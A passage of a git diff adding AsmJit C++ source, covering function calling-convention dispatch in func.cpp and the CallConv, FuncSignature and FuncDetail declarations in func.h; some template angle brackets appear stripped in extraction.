"../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::CallConv - Init / Reset] +// ============================================================================ + +ASMJIT_FAVOR_SIZE Error CallConv::init(uint32_t ccId) noexcept { + reset(); + +#if defined(ASMJIT_BUILD_X86) + if (CallConv::isX86Family(ccId)) + return X86Internal::initCallConv(*this, ccId); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + if (CallConv::isArmFamily(ccId)) + return ArmInternal::initCallConv(*this, ccId); +#endif // ASMJIT_BUILD_ARM + + return DebugUtils::errored(kErrorInvalidArgument); +} + +// ============================================================================ +// [asmjit::FuncDetail - Init / Reset] +// ============================================================================ + +ASMJIT_FAVOR_SIZE Error FuncDetail::init(const FuncSignature& sign) { + uint32_t ccId = sign.getCallConv(); + CallConv& cc = _callConv; + + uint32_t argCount = sign.getArgCount(); + if (ASMJIT_UNLIKELY(argCount > kFuncArgCount)) + return DebugUtils::errored(kErrorInvalidArgument); + + ASMJIT_PROPAGATE(cc.init(ccId)); + + uint32_t gpSize = (cc.getArchType() == ArchInfo::kTypeX86) ? 4 : 8; + uint32_t deabstractDelta = TypeId::deabstractDeltaOfSize(gpSize); + + const uint8_t* args = sign.getArgs(); + for (uint32_t i = 0; i < argCount; i++) { + Value& arg = _args[i]; + arg.initTypeId(TypeId::deabstract(args[i], deabstractDelta)); + } + _argCount = static_cast(argCount); + + uint32_t ret = sign.getRet(); + if (ret != TypeId::kVoid) { + _rets[0].initTypeId(TypeId::deabstract(ret, deabstractDelta)); + _retCount = 1; + } + +#if defined(ASMJIT_BUILD_X86) + if (CallConv::isX86Family(ccId)) + return X86Internal::initFuncDetail(*this, sign, gpSize); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + if (CallConv::isArmFamily(ccId)) + return ArmInternal::initFuncDetail(*this, sign, gpSize); +#endif // ASMJIT_BUILD_ARM + + // We should never bubble here as if `cc.init()` succeeded then there has to + // be an implementation for the current architecture. However, stay safe. + return DebugUtils::errored(kErrorInvalidArgument); +} + +// ============================================================================ +// [asmjit::FuncFrameLayout - Init / Reset] +// ============================================================================ + +ASMJIT_FAVOR_SIZE Error FuncFrameLayout::init(const FuncDetail& func, const FuncFrameInfo& ffi) noexcept { + uint32_t ccId = func.getCallConv().getId(); + +#if defined(ASMJIT_BUILD_X86) + if (CallConv::isX86Family(ccId)) + return X86Internal::initFrameLayout(*this, func, ffi); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + if (CallConv::isArmFamily(ccId)) + return ArmInternal::initFrameLayout(*this, func, ffi); +#endif // ASMJIT_BUILD_ARM + + return DebugUtils::errored(kErrorInvalidArgument); +} + +// ============================================================================ +// [asmjit::FuncArgsMapper] +// ============================================================================ + +ASMJIT_FAVOR_SIZE Error FuncArgsMapper::updateFrameInfo(FuncFrameInfo& ffi) const noexcept { + const FuncDetail* func = getFuncDetail(); + if (!func) return DebugUtils::errored(kErrorInvalidState); + + uint32_t ccId = func->getCallConv().getId(); + +#if defined(ASMJIT_BUILD_X86) + if (CallConv::isX86Family(ccId)) + return X86Internal::argsToFrameInfo(*this, ffi); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + if (CallConv::isArmFamily(ccId)) + return ArmInternal::argsToFrameInfo(*this, ffi); +#endif // ASMJIT_BUILD_X86 + + return DebugUtils::errored(kErrorInvalidArch); +} + +// ============================================================================ +// [asmjit::FuncUtils] +// ============================================================================ + +ASMJIT_FAVOR_SIZE Error FuncUtils::emitProlog(CodeEmitter* emitter, const FuncFrameLayout& layout) { +#if defined(ASMJIT_BUILD_X86) + if (emitter->getArchInfo().isX86Family()) + return X86Internal::emitProlog(static_cast(emitter), layout); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + if (emitter->getArchInfo().isArmFamily()) + return ArmInternal::emitProlog(static_cast(emitter), layout); +#endif // ASMJIT_BUILD_ARM + + return DebugUtils::errored(kErrorInvalidArch); +} + +ASMJIT_FAVOR_SIZE Error FuncUtils::emitEpilog(CodeEmitter* emitter, const FuncFrameLayout& layout) { +#if defined(ASMJIT_BUILD_X86) + if (emitter->getArchInfo().isX86Family()) + return X86Internal::emitEpilog(static_cast(emitter), layout); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + if (emitter->getArchInfo().isArmFamily()) + return ArmInternal::emitEpilog(static_cast(emitter), layout); +#endif // ASMJIT_BUILD_ARM + + return DebugUtils::errored(kErrorInvalidArch); +} + +ASMJIT_FAVOR_SIZE Error FuncUtils::allocArgs(CodeEmitter* emitter, const FuncFrameLayout& layout, const FuncArgsMapper& args) { +#if defined(ASMJIT_BUILD_X86) + if (emitter->getArchInfo().isX86Family()) + return X86Internal::allocArgs(static_cast(emitter), layout, args); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + if (emitter->getArchInfo().isArmFamily()) + return ArmInternal::allocArgs(static_cast(emitter), layout, args); +#endif // ASMJIT_BUILD_ARM + + return DebugUtils::errored(kErrorInvalidArch); +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/func.h b/asmjit/src/asmjit/base/func.h new file mode 100644 index 0000000..c9ab052 --- /dev/null +++ b/asmjit/src/asmjit/base/func.h @@ -0,0 +1,1296 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_FUNC_H +#define _ASMJIT_BASE_FUNC_H + +#include "../asmjit_build.h" + +// [Dependencies] +#include "../base/arch.h" +#include "../base/operand.h" +#include "../base/utils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [Forward Declarations] +// ============================================================================ + +class CodeEmitter; + +// ============================================================================ +// [asmjit::CallConv] +// ============================================================================ + +//! Function calling convention. +//! +//! Function calling convention is a scheme that defines how function parameters +//! are passed and how function returns its result. AsmJit defines a variety of +//! architecture and OS specific calling conventions and also provides a compile +//! time detection to make JIT code-generation easier. +struct CallConv { + //! Calling convention id. + ASMJIT_ENUM(Id) { + //! None or invalid (can't be used). + kIdNone = 0, + + // ------------------------------------------------------------------------ + // [Universal] + // ------------------------------------------------------------------------ + + // TODO: To make this possible we need to know target ARCH and ABI. + + /* + + // Universal calling conventions are applicable to any target and are + // converted to target dependent conventions at runtime. The purpose of + // these conventions is to make using functions less target dependent. + + kIdCDecl = 1, + kIdStdCall = 2, + kIdFastCall = 3, + + //! AsmJit specific calling convention designed for calling functions + //! inside a multimedia code like that don't use many registers internally, + //! but are long enough to be called and not inlined. These functions are + //! usually used to calculate trigonometric functions, logarithms, etc... + kIdFastEval2 = 10, + kIdFastEval3 = 11, + kIdFastEval4 = 12, + */ + + // ------------------------------------------------------------------------ + // [X86] + // ------------------------------------------------------------------------ + + //! X86 `__cdecl` calling convention (used by C runtime and libraries). + kIdX86CDecl = 16, + //! X86 `__stdcall` calling convention (used mostly by WinAPI). + kIdX86StdCall = 17, + //! X86 `__thiscall` calling convention (MSVC/Intel). + kIdX86MsThisCall = 18, + //! X86 `__fastcall` convention (MSVC/Intel). + kIdX86MsFastCall = 19, + //! X86 `__fastcall` convention (GCC and Clang). + kIdX86GccFastCall = 20, + //! X86 `regparm(1)` convention (GCC and Clang). + kIdX86GccRegParm1 = 21, + //! X86 `regparm(2)` convention (GCC and Clang). + kIdX86GccRegParm2 = 22, + //! X86 `regparm(3)` convention (GCC and Clang). + kIdX86GccRegParm3 = 23, + + kIdX86FastEval2 = 29, + kIdX86FastEval3 = 30, + kIdX86FastEval4 = 31, + + //! X64 calling convention defined by WIN64-ABI. + //! + //! Links: + //! * . + kIdX86Win64 = 32, + //! X64 calling convention used by Unix platforms (SYSV/AMD64-ABI). + kIdX86SysV64 = 33, + + kIdX64FastEval2 = 45, + kIdX64FastEval3 = 46, + kIdX64FastEval4 = 47, + + // ------------------------------------------------------------------------ + // [ARM] + // ------------------------------------------------------------------------ + + //! Legacy calling convention, floating point arguments are passed via GP registers. + kIdArm32SoftFP = 48, + //! Modern calling convention, uses VFP registers to pass floating point arguments. + kIdArm32HardFP = 49, + + // ------------------------------------------------------------------------ + // [Internal] + // ------------------------------------------------------------------------ + + _kIdX86Start = 16, //!< \internal + _kIdX86End = 31, //!< \internal + + _kIdX64Start = 32, //!< \internal + _kIdX64End = 47, //!< \internal + + _kIdArmStart = 48, //!< \internal + _kIdArmEnd = 49, //!< \internal + + // ------------------------------------------------------------------------ + // [Host] + // ------------------------------------------------------------------------ + +#if defined(ASMJIT_DOCGEN) + //! Default calling convention based on the current C++ compiler's settings. + //! + //! NOTE: This should be always the same as `kIdHostCDecl`, but some + //! compilers allow to override the default calling convention. Overriding + //! is not detected at the moment. + kIdHost = DETECTED_AT_COMPILE_TIME, + + //! Default CDECL calling convention based on the current C++ compiler's settings. + kIdHostCDecl = DETECTED_AT_COMPILE_TIME, + + //! Default STDCALL calling convention based on the current C++ compiler's settings. + //! + //! NOTE: If not defined by the host then it's the same as `kIdHostCDecl`. + kIdHostStdCall = DETECTED_AT_COMPILE_TIME, + + //! Compatibility for `__fastcall` calling convention. + //! + //! NOTE: If not defined by the host then it's the same as `kIdHostCDecl`. + kIdHostFastCall = DETECTED_AT_COMPILE_TIME +#elif ASMJIT_ARCH_X86 + kIdHost = kIdX86CDecl, + kIdHostCDecl = kIdX86CDecl, + kIdHostStdCall = kIdX86StdCall, + kIdHostFastCall = ASMJIT_CC_MSC ? kIdX86MsFastCall : + ASMJIT_CC_GCC ? kIdX86GccFastCall : + ASMJIT_CC_CLANG ? kIdX86GccFastCall : kIdNone, + kIdHostFastEval2 = kIdX86FastEval2, + kIdHostFastEval3 = kIdX86FastEval3, + kIdHostFastEval4 = kIdX86FastEval4 +#elif ASMJIT_ARCH_X64 + kIdHost = ASMJIT_OS_WINDOWS ? kIdX86Win64 : kIdX86SysV64, + kIdHostCDecl = kIdHost, // Doesn't exist, redirected to host. + kIdHostStdCall = kIdHost, // Doesn't exist, redirected to host. + kIdHostFastCall = kIdHost, // Doesn't exist, redirected to host. + kIdHostFastEval2 = kIdX64FastEval2, + kIdHostFastEval3 = kIdX64FastEval3, + kIdHostFastEval4 = kIdX64FastEval4 +#elif ASMJIT_ARCH_ARM32 +# if defined(__SOFTFP__) + kIdHost = kIdArm32SoftFP, +# else + kIdHost = kIdArm32HardFP, +# endif + // These don't exist on ARM. + kIdHostCDecl = kIdHost, // Doesn't exist, redirected to host. + kIdHostStdCall = kIdHost, // Doesn't exist, redirected to host. + kIdHostFastCall = kIdHost // Doesn't exist, redirected to host. +#else +# error "[asmjit] Couldn't determine the target's calling convention." +#endif + }; + + //! Calling convention algorithm. + //! + //! This is AsmJit specific. It basically describes how should AsmJit convert + //! the function arguments defined by `FuncSignature` into register ids or + //! stack offsets. The default algorithm is a standard algorithm that assigns + //! registers first, and then assigns stack. The Win64 algorithm does register + //! shadowing as defined by `WIN64` calling convention - it applies to 64-bit + //! calling conventions only. + ASMJIT_ENUM(Algorithm) { + kAlgorithmDefault = 0, //!< Default algorithm (cross-platform). + kAlgorithmWin64 = 1 //!< WIN64 specific algorithm. + }; + + //! Calling convention flags. + ASMJIT_ENUM(Flags) { + kFlagCalleePopsStack = 0x01, //!< Callee is responsible for cleaning up the stack. + kFlagPassFloatsByVec = 0x02, //!< Pass F32 and F64 arguments by VEC128 register. + kFlagVectorCall = 0x04, //!< This is a '__vectorcall' calling convention. + kFlagIndirectVecArgs = 0x08 //!< Pass vector arguments indirectly (as a pointer). + }; + + //! Internal limits of AsmJit/CallConv. + ASMJIT_ENUM(Limits) { + kMaxVRegKinds = Globals::kMaxVRegKinds, + kNumRegArgsPerKind = 8 + }; + + //! Passed registers' order. + union RegOrder { + uint8_t id[kNumRegArgsPerKind]; //!< Passed registers, ordered. + uint32_t packed[(kNumRegArgsPerKind + 3) / 4]; + }; + + // -------------------------------------------------------------------------- + // [Utilities] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE bool isX86Family(uint32_t ccId) noexcept { return ccId >= _kIdX86Start && ccId <= _kIdX64End; } + static ASMJIT_INLINE bool isArmFamily(uint32_t ccId) noexcept { return ccId >= _kIdArmStart && ccId <= _kIdArmEnd; } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_API Error init(uint32_t ccId) noexcept; + + ASMJIT_INLINE void reset() noexcept { + ::memset(this, 0, sizeof(*this)); + ::memset(_passedOrder, 0xFF, sizeof(_passedOrder)); + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get calling convention id, see \ref Id. + ASMJIT_INLINE uint32_t getId() const noexcept { return _id; } + //! Set calling convention id, see \ref Id. + ASMJIT_INLINE void setId(uint32_t id) noexcept { _id = static_cast(id); } + + //! Get architecture type. + ASMJIT_INLINE uint32_t getArchType() const noexcept { return _archType; } + //! Set architecture type. + ASMJIT_INLINE void setArchType(uint32_t archType) noexcept { _archType = static_cast(archType); } + + //! Get calling convention algorithm, see \ref Algorithm. + ASMJIT_INLINE uint32_t getAlgorithm() const noexcept { return _algorithm; } + //! Set calling convention algorithm, see \ref Algorithm. + ASMJIT_INLINE void setAlgorithm(uint32_t algorithm) noexcept { _algorithm = static_cast(algorithm); } + + //! Get if the calling convention has the given `flag` set. + ASMJIT_INLINE bool hasFlag(uint32_t flag) const noexcept { return (_flags & flag) != 0; } + //! Get calling convention flags, see \ref Flags. + ASMJIT_INLINE uint32_t getFlags() const noexcept { return _flags; } + //! Add calling convention flags, see \ref Flags. + ASMJIT_INLINE void setFlags(uint32_t flag) noexcept { _flags = flag; }; + //! Add calling convention flags, see \ref Flags. + ASMJIT_INLINE void addFlags(uint32_t flag) noexcept { _flags |= flag; }; + + //! Get a natural stack alignment. + ASMJIT_INLINE uint32_t getNaturalStackAlignment() const noexcept { return _naturalStackAlignment; } + + //! Set a natural stack alignment. + //! + //! This function can be used to override the default stack alignment in case + //! that you know that it's alignment is different. For example it allows to + //! implement custom calling conventions that guarantee higher stack alignment. + ASMJIT_INLINE void setNaturalStackAlignment(uint32_t value) noexcept { + ASMJIT_ASSERT(value < 256); + _naturalStackAlignment = static_cast(value); + } + + //! Get if this calling convention specifies 'SpillZone'. + ASMJIT_INLINE bool hasSpillZone() const noexcept { return _spillZoneSize != 0; } + //! Get size of 'SpillZone'. + ASMJIT_INLINE uint32_t getSpillZoneSize() const noexcept { return _spillZoneSize; } + //! Set size of 'SpillZone'. + ASMJIT_INLINE void setSpillZoneSize(uint32_t size) noexcept { _spillZoneSize = static_cast(size); } + + //! Get if this calling convention specifies 'RedZone'. + ASMJIT_INLINE bool hasRedZone() const noexcept { return _redZoneSize != 0; } + //! Get size of 'RedZone'. + ASMJIT_INLINE uint32_t getRedZoneSize() const noexcept { return _redZoneSize; } + //! Set size of 'RedZone'. + ASMJIT_INLINE void setRedZoneSize(uint32_t size) noexcept { _redZoneSize = static_cast(size); } + + ASMJIT_INLINE const uint8_t* getPassedOrder(uint32_t kind) const noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + return _passedOrder[kind].id; + } + + ASMJIT_INLINE uint32_t getPassedRegs(uint32_t kind) const noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + return _passedRegs[kind]; + } + + ASMJIT_INLINE void _setPassedPacked(uint32_t kind, uint32_t p0, uint32_t p1) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + + _passedOrder[kind].packed[0] = p0; + _passedOrder[kind].packed[1] = p1; + } + + ASMJIT_INLINE void setPassedToNone(uint32_t kind) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + + _setPassedPacked(kind, ASMJIT_PACK32_4x8(0xFF, 0xFF, 0xFF, 0xFF), + ASMJIT_PACK32_4x8(0xFF, 0xFF, 0xFF, 0xFF)); + _passedRegs[kind] = 0; + } + + ASMJIT_INLINE void setPassedOrder(uint32_t kind, uint32_t a0, uint32_t a1 = 0xFF, uint32_t a2 = 0xFF, uint32_t a3 = 0xFF, uint32_t a4 = 0xFF, uint32_t a5 = 0xFF, uint32_t a6 = 0xFF, uint32_t a7 = 0xFF) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + + _setPassedPacked(kind, ASMJIT_PACK32_4x8(a0, a1, a2, a3), + ASMJIT_PACK32_4x8(a4, a5, a6, a7)); + + // NOTE: This should always be called with all arguments known at compile + // time, so even if it looks scary it should be translated to a single + // instruction. + _passedRegs[kind] = (a0 != 0xFF ? 1U << a0 : 0U) | + (a1 != 0xFF ? 1U << a1 : 0U) | + (a2 != 0xFF ? 1U << a2 : 0U) | + (a3 != 0xFF ? 1U << a3 : 0U) | + (a4 != 0xFF ? 1U << a4 : 0U) | + (a5 != 0xFF ? 1U << a5 : 0U) | + (a6 != 0xFF ? 1U << a6 : 0U) | + (a7 != 0xFF ? 1U << a7 : 0U) ; + } + + ASMJIT_INLINE uint32_t getPreservedRegs(uint32_t kind) const noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + return _preservedRegs[kind]; + } + + + ASMJIT_INLINE void setPreservedRegs(uint32_t kind, uint32_t regs) noexcept { + ASMJIT_ASSERT(kind < kMaxVRegKinds); + _preservedRegs[kind] = regs; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint8_t _id; //!< Calling convention id, see \ref Id. + uint8_t _archType; //!< Architecture type (see \ref ArchInfo::Type). + uint8_t _algorithm; //!< Calling convention algorithm. + uint8_t _flags; //!< Calling convention flags. + + uint8_t _naturalStackAlignment; //!< Natural stack alignment as defined by OS/ABI. + uint8_t _spillZoneSize; //!< Spill zone size (WIN64 == 32 bytes). + uint16_t _redZoneSize; //!< Red zone size (AMD64 == 128 bytes). + + RegOrder _passedOrder[kMaxVRegKinds]; //!< Passed registers' order, per kind. + uint32_t _passedRegs[kMaxVRegKinds]; //!< Mask of all passed registers, per kind. + uint32_t _preservedRegs[kMaxVRegKinds];//!< Mask of all preserved registers, per kind. +}; + +// ============================================================================ +// [asmjit::FuncArgIndex] +// ============================================================================ + +//! Function argument index (lo/hi). +ASMJIT_ENUM(FuncArgIndex) { + //! Maximum number of function arguments supported by AsmJit. + kFuncArgCount = 16, + //! Extended maximum number of arguments (used internally). + kFuncArgCountLoHi = kFuncArgCount * 2, + + //! Index to the LO part of function argument (default). + //! + //! This value is typically omitted and added only if there is HI argument + //! accessed. + kFuncArgLo = 0, + + //! Index to the HI part of function argument. + //! + //! HI part of function argument depends on target architecture. On x86 it's + //! typically used to transfer 64-bit integers (they form a pair of 32-bit + //! integers). + kFuncArgHi = kFuncArgCount +}; + +// ============================================================================ +// [asmjit::FuncSignature] +// ============================================================================ + +//! Function signature. +//! +//! Contains information about function return type, count of arguments and +//! their TypeIds. Function signature is a low level structure which doesn't +//! contain platform specific or calling convention specific information. +struct FuncSignature { + enum { + //! Doesn't have variable number of arguments (`...`). + kNoVarArgs = 0xFF + }; + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + //! Initialize the function signature. + ASMJIT_INLINE void init(uint32_t ccId, uint32_t ret, const uint8_t* args, uint32_t argCount) noexcept { + ASMJIT_ASSERT(ccId <= 0xFF); + ASMJIT_ASSERT(argCount <= 0xFF); + + _callConv = static_cast(ccId); + _argCount = static_cast(argCount); + _vaIndex = kNoVarArgs; + _ret = ret; + _args = args; + } + + ASMJIT_INLINE void reset() noexcept { + memset(this, 0, sizeof(*this)); + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the function's calling convention. + ASMJIT_INLINE uint32_t getCallConv() const noexcept { return _callConv; } + + //! Get if the function has variable number of arguments (...). + ASMJIT_INLINE bool hasVarArgs() const noexcept { return _vaIndex != kNoVarArgs; } + //! Get the variable arguments (...) index, `kNoVarArgs` if none. + ASMJIT_INLINE uint32_t getVAIndex() const noexcept { return _vaIndex; } + + //! Get the number of function arguments. + ASMJIT_INLINE uint32_t getArgCount() const noexcept { return _argCount; } + + ASMJIT_INLINE bool hasRet() const noexcept { return _ret != TypeId::kVoid; } + //! Get the return value type. + ASMJIT_INLINE uint32_t getRet() const noexcept { return _ret; } + + //! Get the type of the argument at index `i`. + ASMJIT_INLINE uint32_t getArg(uint32_t i) const noexcept { + ASMJIT_ASSERT(i < _argCount); + return _args[i]; + } + //! Get the array of function arguments' types. + ASMJIT_INLINE const uint8_t* getArgs() const noexcept { return _args; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint8_t _callConv; //!< Calling convention id. + uint8_t _argCount; //!< Count of arguments. + uint8_t _vaIndex; //!< Index to a first vararg or `kNoVarArgs`. + uint8_t _ret; //!< TypeId of a return value. + const uint8_t* _args; //!< TypeIds of function arguments. +}; + +// ============================================================================ +// [asmjit::FuncSignatureT] +// ============================================================================ + +//! \internal +#define T(TYPE) TypeIdOf::kTypeId + +//! Static function signature (no arguments). +template +class FuncSignature0 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature0(uint32_t ccId = CallConv::kIdHost) noexcept { + init(ccId, T(RET), nullptr, 0); + } +}; + +//! Static function signature (1 argument). +template +class FuncSignature1 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature1(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (2 arguments). +template +class FuncSignature2 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature2(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (3 arguments). +template +class FuncSignature3 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature3(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (4 arguments). +template +class FuncSignature4 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature4(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2), T(A3) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (5 arguments). +template +class FuncSignature5 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature5(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2), T(A3), T(A4) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (6 arguments). +template +class FuncSignature6 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature6(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2), T(A3), T(A4), T(A5) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (7 arguments). +template +class FuncSignature7 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature7(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2), T(A3), T(A4), T(A5), T(A6) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (8 arguments). +template +class FuncSignature8 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature8(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2), T(A3), T(A4), T(A5), T(A6), T(A7) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (9 arguments). +template +class FuncSignature9 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature9(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2), T(A3), T(A4), T(A5), T(A6), T(A7), T(A8) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +//! Static function signature (10 arguments). +template +class FuncSignature10 : public FuncSignature { +public: + ASMJIT_INLINE FuncSignature10(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { T(A0), T(A1), T(A2), T(A3), T(A4), T(A5), T(A6), T(A7), T(A8), T(A9) }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; + +#if ASMJIT_CC_HAS_VARIADIC_TEMPLATES +//! Static function signature (variadic). +template +class FuncSignatureT : public FuncSignature { +public: + ASMJIT_INLINE FuncSignatureT(uint32_t ccId = CallConv::kIdHost) noexcept { + static const uint8_t args[] = { (T(ARGS))... }; + init(ccId, T(RET), args, ASMJIT_ARRAY_SIZE(args)); + } +}; +#endif // ASMJIT_CC_HAS_VARIADIC_TEMPLATES + +#undef T + +// ============================================================================ +// [asmjit::FuncSignatureX] +// ============================================================================ + +//! Dynamic function signature. +class FuncSignatureX : public FuncSignature { +public: + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE FuncSignatureX(uint32_t ccId = CallConv::kIdHost) noexcept { + init(ccId, TypeId::kVoid, _builderArgList, 0); + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void setCallConv(uint32_t ccId) noexcept { + ASMJIT_ASSERT(ccId <= 0xFF); + _callConv = static_cast(ccId); + } + + //! Set the return type to `retType`. + ASMJIT_INLINE void setRet(uint32_t retType) noexcept { _ret = retType; } + //! Set the return type based on `T`. + template + ASMJIT_INLINE void setRetT() noexcept { setRet(TypeIdOf::kTypeId); } + + //! Set the argument at index `i` to the `type` + ASMJIT_INLINE void setArg(uint32_t i, uint32_t type) noexcept { + ASMJIT_ASSERT(i < _argCount); + _builderArgList[i] = type; + } + //! Set the argument at index `i` to the type based on `T`. + template + ASMJIT_INLINE void setArgT(uint32_t i) noexcept { setArg(i, TypeIdOf::kTypeId); } + + //! Append an argument of `type` to the function prototype. + ASMJIT_INLINE void addArg(uint32_t type) noexcept { + ASMJIT_ASSERT(_argCount < kFuncArgCount); + _builderArgList[_argCount++] = static_cast(type); + } + //! Append an argument of type based on `T` to the function prototype. + template + ASMJIT_INLINE void addArgT() noexcept { addArg(TypeIdOf::kTypeId); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint8_t _builderArgList[kFuncArgCount]; +}; + +// ============================================================================ +// [asmjit::FuncDetail] +// ============================================================================ + +//! Function detail - CallConv and expanded FuncSignature. +//! +//! Function details is architecture and OS dependent representation of function. +//! It contains calling convention and expanded function signature so all +//! arguments have assigned either register type & id or stack address. +class FuncDetail { +public: + ASMJIT_ENUM(Limits) { + kMaxVRegKinds = Globals::kMaxVRegKinds + }; + + //! Argument or return value as defined by `FuncSignature`, but with register + //! or stack address (and other metadata) assigned. + struct Value { + ASMJIT_ENUM(Parts) { + kTypeIdShift = 24, + kTypeIdMask = 0xFF000000U, + + kRegTypeShift = 8, + kRegTypeMask = 0x0000FF00U, + + kRegIdShift = 0, + kRegIdMask = 0x000000FFU, + + kStackOffsetShift = 0, + kStackOffsetMask = 0x0000FFFFU, + + kIsByReg = 0x00010000U, + kIsByStack = 0x00020000U, + kIsIndirect = 0x00040000U + }; + + //! Get if this value is initialized (i.e. contains a valid data). + ASMJIT_INLINE bool isInitialized() const noexcept { return _value != 0; } + //! Initialize this in/out by a given `typeId`. + ASMJIT_INLINE void initTypeId(uint32_t typeId) noexcept { _value = typeId << kTypeIdShift; } + //! Initialize this in/out by a given `typeId`, `regType`, and `regId`. + ASMJIT_INLINE void initReg(uint32_t typeId, uint32_t regType, uint32_t regId) noexcept { + _value = (typeId << kTypeIdShift) | (regType << kRegTypeShift) | (regId << kRegIdShift) | kIsByReg; + } + //! Initialize this in/out by a given `typeId` and `offset`. + ASMJIT_INLINE void initStack(uint32_t typeId, uint32_t stackOffset) noexcept { + _value = (typeId << kTypeIdShift) | (stackOffset << kStackOffsetShift) | kIsByStack; + } + //! Reset the value to its uninitialized and unassigned state. + ASMJIT_INLINE void reset() noexcept { _value = 0; } + + ASMJIT_INLINE void assignToReg(uint32_t regType, uint32_t regId) noexcept { + ASMJIT_ASSERT(!isAssigned()); + _value |= (regType << kRegTypeShift) | (regId << kRegIdShift) | kIsByReg; + } + + ASMJIT_INLINE void assignToStack(int32_t offset) noexcept { + ASMJIT_ASSERT(!isAssigned()); + _value |= (offset << kStackOffsetShift) | kIsByStack; + } + + //! Get if this argument is passed by register. + ASMJIT_INLINE bool byReg() const noexcept { return (_value & kIsByReg) != 0; } + //! Get if this argument is passed by stack. + ASMJIT_INLINE bool byStack() const noexcept { return (_value & kIsByStack) != 0; } + //! Get if this argument is passed by register. + ASMJIT_INLINE bool isAssigned() const noexcept { return (_value & (kIsByReg | kIsByStack)) != 0; } + //! Get if this argument is passed through a pointer (used by WIN64 to pass XMM|YMM|ZMM). + ASMJIT_INLINE bool isIndirect() const noexcept { return (_value & kIsIndirect) != 0; } + + //! Get virtual type of this argument or return value. + ASMJIT_INLINE uint32_t getTypeId() const noexcept { return _value >> kTypeIdShift; } + //! Get a register type of the register used to pass the argument or return the value. + ASMJIT_INLINE uint32_t getRegType() const noexcept { return (_value & kRegTypeMask) >> kRegTypeShift; } + //! Get a physical id of the register used to pass the argument or return the value. + ASMJIT_INLINE uint32_t getRegId() 